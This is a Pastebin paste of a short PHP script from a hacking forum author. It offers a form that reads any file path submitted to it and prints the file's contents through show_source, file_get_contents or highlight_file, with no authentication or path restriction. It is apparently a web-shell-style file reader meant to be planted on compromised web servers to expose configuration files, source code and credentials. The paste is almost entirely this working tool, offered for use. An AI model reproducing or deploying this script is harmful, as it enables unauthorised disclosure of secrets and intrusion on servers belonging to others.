Ribang

Read File'z Using 3 Function'z

Feb 2nd, 2018
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?
  2. # Coded By : Dr.KroOoZ
  3. # Homepage : www.sec4ever.com
  4. # Greet'z : b0x - N.K - FoX - HaNiBaL KsA
  5. echo '<form method="POST">
  6. <title> Read Files </title>
  7. <select name="krz" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
  8. <option>show_source</option>
  9. <option>file_get_contents</option>
  10. <option>highlight_file</option>
  11. </select>
  12. <input type="text" name="path" value="File Path" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
  13. <input type="submit" value="Read" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">';
  14. # Function'z
  15. $s = "show_source"; # 1
  16. $f = "file_get_contents"; # 2
  17. $h = "highlight_file"; # 3
  18. # file path
  19. $path = $_POST['path'];
  20. # 1
  21. if($_POST['krz'] == $s) {
  22. $sec = $s($path);
  23. echo "<pre> $sec </pre>";
  24. } else {
  25. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  26. }
  27. # 2
  28. if($_POST['krz'] == $f) {
  29. $sec4 = $f($path);
  30. echo "<pre> $sec4 </pre>";
  31. } else {
  32. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  33. }
  34. # 3
  35. if($_POST['krz'] == $h) {
  36. $sec4ever = $h($path);
  37. echo "<pre> $sec4ever </pre>";
  38. } else {
  39. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  40. }
  41. echo '<p align="center" dir="ltr"><font face="Tahoma" size="2">Coded By Dr.KroOoZ | [email protected] | www.sec4ever.com</font></p>';
  42. ?>
Add Comment
Please, Sign In to add comment